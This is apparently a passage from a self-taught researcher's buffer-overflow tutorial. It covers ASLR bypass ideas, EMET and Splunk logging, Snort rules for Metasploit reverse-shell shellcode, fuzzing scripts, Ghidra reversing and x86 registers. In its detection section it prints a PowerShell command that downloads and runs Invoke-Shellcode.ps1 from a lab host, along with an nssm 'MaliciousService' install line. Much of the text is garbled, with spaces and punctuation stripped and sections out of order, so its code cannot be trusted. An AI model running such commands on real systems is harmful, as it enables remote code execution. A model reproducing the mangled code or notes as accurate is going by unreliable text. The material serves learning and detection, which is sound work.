some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length
propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix
InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-
ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
